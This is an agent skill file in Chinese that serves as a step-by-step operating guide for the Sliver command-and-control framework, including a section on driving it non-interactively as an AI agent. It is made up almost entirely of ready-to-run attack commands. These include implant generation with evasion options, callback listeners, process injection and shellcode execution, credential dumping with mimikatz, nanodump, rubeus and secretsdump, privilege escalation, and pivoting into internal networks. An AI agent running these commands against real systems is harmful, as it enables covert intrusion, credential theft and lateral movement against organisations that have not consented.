| name | sliver-c2 |
| description | Sliver C2 框架操作指南。当需要建立命令与控制通道、管理植入体、进行后渗透操作时使用。支持 mTLS/HTTPS/DNS/WireGuard 多协议、Session/Beacon 双模式、SOCKS5 代理、TCP/Named Pipe 多层穿透。适用于红队行动和渗透测试场景。 |
| metadata | {"tags":"sliver,c2,command-and-control,implant,beacon,session,mtls,socks5,pivoting,named-pipe,post-exploitation,bof","category":"evasion"} |
Sliver C2 框架操作指南
Sliver 是开源跨平台 C2 框架,支持多协议通信 (mTLS/HTTPS/HTTP/DNS/WireGuard)、Session/Beacon 双模式、端口转发/SOCKS5/TCP Pivot/Named Pipe Pivot 穿透能力、Armory 扩展生态与 BOF/COFF 执行。
Phase 1: 环境准备
curl https://sliver.sh/install | sudo bash
sliver-server
sliver-client
tmux 非交互式操作 (AI Agent 场景)
tmux new-session -d -s sliver "/path/to/sliver-client console"
sleep 5
tmux send-keys -t sliver "version" Enter
sleep 2
tmux capture-pane -t sliver -p | tail -20
tmux send-keys -t sliver "generate --mtls 10.0.0.164:8888 --os linux --save /tmp/implant" Enter
sleep 120
tmux capture-pane -t sliver -p
tmux kill-session -t sliver
基本命令
sliver > version
sliver > jobs
sliver > implants
sliver > sessions
sliver > beacons
Phase 2: Listener 配置
sliver > mtls
sliver > mtls --lhost 192.168.1.100 --lport 8888
sliver > https --domain example.com
sliver > https --domain example.com --lets-encrypt
sliver > https --domain example.com --website fake-blog
sliver > http
sliver > dns --domains 1.example.com.
sliver > wg
sliver > jobs
sliver > jobs -k JOB_ID
协议对比
+------------+--------+----------------+------+--------+------------------+
| 协议 | 默认端口 | 加密方式 | 速度 | 隐蔽性 | 推荐场景 |
+------------+--------+----------------+------+--------+------------------+
| mTLS | 8888 | TLS 双向认证 | 快 | 中 | 内网/可控环境 |
| HTTPS | 443 | TLS | 中 | 高 | 出网受限环境 |
| HTTP | 80 | 应用层加密 | 中 | 中 | 代理环境 |
| DNS | 53 | 应用层加密 | 慢 | 高 | 高度受限网络 |
| WireGuard | 53/UDP | WireGuard | 快 | 中 | 需要端口转发 |
+------------+--------+----------------+------+--------+------------------+
-> references/c2-protocols.md
Phase 3: Implant 生成
Session vs Beacon
| 特性 | Session | Beacon |
|---|
| 通信 | 实时持久连接 | 定期轮询 (默认 60s) |
| 隐蔽性 | 较低 | 较高 |
| shell/portfwd/pivot | 直接支持 | 需 interactive 切换 |
| 适用 | 交互操作 | 长期潜伏 |
生成命令
sliver > generate --mtls example.com --os windows --arch amd64 --save /tmp
sliver > generate beacon --mtls example.com --os windows --seconds 30 --jitter 10 --save /tmp
sliver > generate --mtls example.com --http backup.com --dns 1.dns.com.
sliver > generate --mtls example.com --format shellcode --save /tmp
规避选项
sliver > generate --mtls example.com --limit-datetime "2024-12-31"
sliver > generate --mtls example.com --limit-domainjoined
sliver > generate --mtls example.com --limit-hostname "TARGET-PC"
sliver > generate --mtls example.com --limit-username "admin"
-> references/implant-generation.md
Phase 4: Session 管理
交互
sliver > use SESSION_ID
sliver (BEACON) > interactive
sliver (SESSION) > close
文件操作
sliver (SESSION) > ls / cd / pwd / cat
sliver (SESSION) > download /remote/file /local
sliver (SESSION) > upload /local/file /remote
sliver (SESSION) > mkdir /path && rm /path
进程管理
sliver (SESSION) > ps
sliver (SESSION) > ps -e "lsass"
sliver (SESSION) > kill PID
sliver (SESSION) > procdump -p PID -s /tmp/proc.dmp
命令执行
sliver (SESSION) > shell
sliver (SESSION) > execute -o whoami
sliver (SESSION) > execute -o "cmd /c dir"
sliver (SESSION) > msf -m payload/windows/x64/exec
Phase 5: 网络穿透
端口转发
sliver (SESSION) > portfwd add --remote 10.10.10.10:3389
sliver (SESSION) > portfwd add --bind 0.0.0.0:1234 --remote 10.10.10.10:22
sliver (SESSION) > rportfwd add --remote 0.0.0.0:8080 --local 127.0.0.1:80
sliver (SESSION) > wg-portfwd add --remote 10.10.10.10:3389
sliver (SESSION) > portfwd rm ID
SOCKS5 代理 + proxychains4
sliver (SESSION) > socks5 start --port 1080
sudo sed -i 's/^socks4.*/socks5 127.0.0.1 1080/' /etc/proxychains4.conf
proxychains4 -q nmap -sT -Pn -p 445,389,88 192.168.56.0/24
proxychains4 -q netexec smb 192.168.56.0/24
proxychains4 -q secretsdump.py domain/user:pass@192.168.56.10
TCP Pivot (多层内网)
sliver (EDGE_SESSION) > pivots tcp --bind 0.0.0.0:9898
sliver > generate --tcp-pivot 10.10.10.5:9898 --save /tmp
sliver (EDGE_SESSION) > upload /tmp/IMPLANT C:\Windows\Temp\
sliver (EDGE_SESSION) > execute C:\Windows\Temp\IMPLANT
Named Pipe Pivot (同网段隐蔽)
sliver (SESSION) > pivots named-pipe --bind mypipe --allow-all
sliver > generate --named-pipe 192.168.1.100/pipe/mypipe --save /tmp
-> references/pivoting-proxy.md
Phase 6: 后渗透
进程注入
sliver (SESSION) > migrate PID
sliver (SESSION) > execute-shellcode -p PID /path/to/shellcode.bin
sliver (SESSION) > execute-assembly /path/to/assembly.exe arg1
凭据操作
sliver > armory install nanodump
sliver (SESSION) > nanodump
sliver > armory install rubeus
sliver (SESSION) > rubeus triage / kerberoast / asreproast
sliver > armory install mimikatz
sliver (SESSION) > mimikatz "sekurlsa::logonpasswords"
权限提升
sliver (SESSION) > getsystem
sliver (SESSION) > impersonate USERNAME
sliver (SESSION) > rev2self
Armory 扩展与 BOF 执行
sliver > armory
sliver > armory install coff-loader
sliver > armory install rubeus nanodump seatbelt sharphound sharpwmi
sliver > armory install all
sliver > extensions
sliver (SESSION) > nanodump -h
sliver (SESSION) > rubeus kerberoast
-> references/post-exploitation.md
决策树
需要建立 C2 通道?
|
+-- 网络环境评估
| |
| +-- 内网/可控环境 ---------> mTLS (最快最稳)
| +-- 出网受限/有代理 -------> HTTPS (代理感知)
| +-- 仅 DNS 出网 -----------> DNS (慢但隐蔽)
| +-- 需要高效隧道 ----------> WireGuard
| +-- 不确定 ----------------> 多协议备份 (mTLS + HTTPS + DNS)
|
+-- 选择 Implant 模式
| |
| +-- 需要实时交互? ---------> Session (shell/portfwd/socks5)
| +-- 需要长期潜伏? ---------> Beacon (--seconds/--jitter)
|
+-- 需要访问内网资源?
| |
| +-- 单个端口 --------------> portfwd add
| +-- 多个端口/扫描 ---------> socks5 start + proxychains4
| +-- 目标无法出网 ----------> TCP Pivot
| +-- 同网段横向 (Windows) --> Named Pipe Pivot
|
+-- 后渗透操作
|
+-- 需要凭据 --------------> nanodump / rubeus / mimikatz BOF
+-- 需要持久化 ------------> migrate 到稳定进程
+-- 需要执行 .NET 工具 ----> execute-assembly
+-- 需要 BOF 扩展 ---------> armory install + 直接调用
工具清单
| 工具 | 用途 |
|---|
| sliver-server | C2 服务端 |
| sliver-client | 操作员客户端 |
| wg-quick | WireGuard 客户端 |
| tmux | 非交互式脚本集成 |
| proxychains4 | SOCKS 代理工具链路由 |
参考文档